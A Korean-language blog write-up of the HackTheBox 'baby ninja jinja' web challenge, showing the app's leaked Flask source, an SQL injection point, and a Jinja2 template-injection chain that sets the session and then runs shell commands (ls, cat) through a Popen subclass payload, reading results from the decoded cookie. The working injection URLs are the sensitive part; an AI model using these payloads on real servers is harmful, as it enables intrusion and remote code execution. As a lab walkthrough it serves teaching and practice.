티스토리 뷰

728x90
반응형

 

제공받은 URL에 접속하면 위와 같이 나옵니다. input 폼이 한 개 있음을 확인했습니다.

<!DOCTYPE html>
<head>
  <meta name='viewport' content='width=device-width, initial-scale=1'>
  <meta name='author' content='makelaris'>
  <title>⛰ Inside a dojo</title>
  <link href='/static/favicon.gif' rel='icon' type='image/gif'>
  <link href='/static/css/main.css' rel='stylesheet'>
</head><body>
<div class='titan-background'>
  <span class='stars stars-L'></span>
  <span class='stars stars-M'></span>
  <span class='stars stars-S'></span>
</div>
<div class='marvellous-container'>
  <div class='header'>
    <h1>
      <span class='title-marvel'>release your</span>
      <span class='title-studios'>inner ninja</span>
    </h1>
    <h2>
      All of military age in your village<br/>
      are drafted to rebel against the emperor<br/>
      under the leadership of the Hattori clan.<br/><br/>
      Now's the time to choose the name under<br/>
      which you'll embark in this new adventure.<br/><br/>
    </h2>
    <form action='/'>
      <div class='input-field'>
        <input type='text' name='name' id='name' placeholder='name' autocomplete='off' required />
        <button type='submit'>Send</button>
      </div>
    </form>
    <div class='wrap'>
      <div class='ninja'></div>
    </div>
    
  </div>
</div>
</body>
<!-- /debug -->
</html>

소스코드를 보면 /debug 경로에 대한 힌트를 주고 있습니다. 그리고 들어가보면 app.py 로 추정되는 파일의 내용을 확인할 수 있었습니다. 아래와 같습니다.

from flask import Flask, session, render_template, request, Response, render_template_string, g
import functools, sqlite3, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(120)

acc_tmpl = '''{% extends 'index.html' %}
{% block content %}
<h3>baby_ninja joined, total number of rebels: reb_num<br>
{% endblock %}
'''

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect('/tmp/ninjas.db')
        db.isolation_level = None
        db.row_factory = sqlite3.Row
        db.text_factory = (lambda s: s.replace('{{', '').
            replace("'", '&#x27;').
            replace('"', '&quot;').
            replace('<', '&lt;').
            replace('>', '&gt;')
        )
    return db

def query_db(query, args=(), one=False):
    with app.app_context():
        cur = get_db().execute(query, args)
        rv = [dict((cur.description[idx][0], str(value)) \
            for idx, value in enumerate(row)) for row in cur.fetchall()]
        return (rv[0] if rv else None) if one else rv

@app.before_first_request
def init_db():
    with app.open_resource('schema.sql', mode='r') as f:
        get_db().cursor().executescript(f.read())

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None: db.close()

def rite_of_passage(func):
    @functools.wraps(func)
    def born2pwn(*args, **kwargs):

        name = request.args.get('name', '')

        if name:
            query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)

            report = render_template_string(acc_tmpl.
                replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
                replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
            )

            if session.get('leader'): 
                return report

            return render_template('welcome.jinja2')
        return func(*args, **kwargs)
    return born2pwn

@app.route('/')
@rite_of_passage
def index():
    return render_template('index.html')

@app.route('/debug')
def debug():
    return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

아래 코드 부분에서 sql injection 에 대한 벡터를 찾았습니다.

query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)

첫 페이지에 있던 유일한 input form 에 값을 넣어 전송하면 name 이란 변수에 들어가게 됩니다.

그래서 input form 에 “ (큰따옴표)를 입력하여서 오류를 내보았습니다.

보시다시피 sqlite3 오류가 났습니다. 이로써 Error-based SQL Injection 이 가능할 것으로 보였습니다.

 

그리고 debug=True 가 되어 있기 때문에 오류 내용이 그대로 출력됨을 알 수 있었고, console 모드에 접근하기 위해서는 PIN 코드가 있어야 해서 접근 제한이 있음을 확인했습니다.

 

그리고 아래 부분에서 SSTI 벡터를 찾았습니다.

 

report = render_template_string(acc_tmpl.
    replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
    replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
)

저희가 name 에 입력한 값이 jinja2 template 으로 그대로 렌더링 됨을 알 수 있습니다.

그리고 바로 아래 이런 코드가 있어서 세션을 먼저 획득하고자 했습니다.

if session.get('leader'):
    return report

처음엔 sqli 로 아이디 비번을 추출할까도 하였지만, 애초에 드러나는 app.py 상에서 로그인 기능 자체가 없음을 알 수 있습니다. 그래서 SSTI 를 통한 세션 획득을 시도해보았습니다.

 

우선 SSTI 시도 시 아래와 같은 필터링이 존재함을 알았고, 이를 우회하기 위해서 {% code %} 와 같은 jinja2 template 문법을 사용하였습니다.

 

db.text_factory = (lambda s: s.replace('{{', '').
    replace("'", '&#x27;').
    replace('"', '&quot;').
    replace('<', '&lt;').
    replace('>', '&gt;')
)

그리고 위에서 알다시피 따옴표를 사용할 수 없습니다. 이를 우회하기 위해서는 LoveTok 문제에서 참고가 되었던 파라미터를 이용한 방법이 떠올랐습니다.

 

그리고 URL에 아래와 같이 넣어보았습니다. %25 는 URL 인코딩된 것입니다.

 

/?name={%25 if session.update({request.args.a:request.args.b}) == 1 %25}{%25 endif %25}&a=leader&b=test

request.args.a 에 leader 값을 넣고, request.args.b 에 test 값을 넣어보았고, 전송해보았습니다.

 

그랬더니 welcome 페이지가 아닌 다른 페이지가 나옴을 확인했습니다.

그리고 response header 에 set-cookie 가 되는 것을 확인하였고, 해당 쿠키 값을 확인해보았습니다. 쿠키값은 flask cookie decode 를 통해서 확인했습니다.

 

 

C:\Users\domdomi>flask cookie decode eyJsZWFkZXIiOiJ0ZXN0In0.YVDHzg.P2TDdXU57daSWYyxv2vp9moR9dg
UntrustedCookie(contents={'leader': 'test'}, expiration='2021-10-27T19:19:42+00:00')

제가 보낸 값이 그대로 세션 값에 들어감을 확인할 수 있었습니다.

 

이로써 SSTI 를 통한 RCE가 가능할 것으로 보였습니다. 이전에 templated 문제에서 jinja2 SSTI 에서 활용했던 방법을 그대로 사용해보았습니다.

 

/?name={%25 if session.update({request.args.a:().__class__.__mro__[1].__subclasses__()[258](request.args.b,shell=True,stdout=-1).communicate()|string}) == 1 %25}{%25 endif %25}&a=leader&b=ls

위 URL을 이용해서 ls 명령을 수행하였습니다. 물론 저 과정 이전에 popen 함수가 몇번째 인덱스에 있는지 확인하는 과정이 있었습니다. 그리고 ““ 나 str 글로벌 변수가 jinja2 template engine 에서는 사용하지 못했기 때문에 ()를 사용하였고, 해당 결과물을 문자열로 반환하기 위해서 jinja2 template engine의 문법 중 |string 을 하게 되면 문자열로 변환하는 특징을 이용해서 수행하였습니다.

 

C:\Users\domdomi>flask cookie decode eyJsZWFkZXIiOiIoJ2FwcC5weVxcbmZsYWdfUDU0ZWRcXG5zY2hlbWEuc3FsXFxuc3RhdGljXFxudGVtcGxhdGVzXFxuJywgTm9uZSkifQ.YVDI_g.FSItTnGUshJ9PZfOMbArAFtW5Us
UntrustedCookie(contents={'leader': "('app.py\\nflag_P54ed\\nschema.sql\\nstatic\\ntemplates\\n', None)"}, expiration='2021-10-27T19:24:46+00:00')

 

결과적으로 flag 이름이 flag_P54ed 임을 확인했기 때문에 이제 cat 만 해주면 되었습니다.

/?name={%25 if session.update({request.args.a:().__class__.__mro__[1].__subclasses__()[258](request.args.b,shell=True,stdout=-1).communicate()|string}) == 1 %25}{%25 endif %25}&a=leader&b=cat flag_P54ed

so, 플래그는 아래와 같습니다.

 

HTB{b4by_가려짐}
728x90
반응형
댓글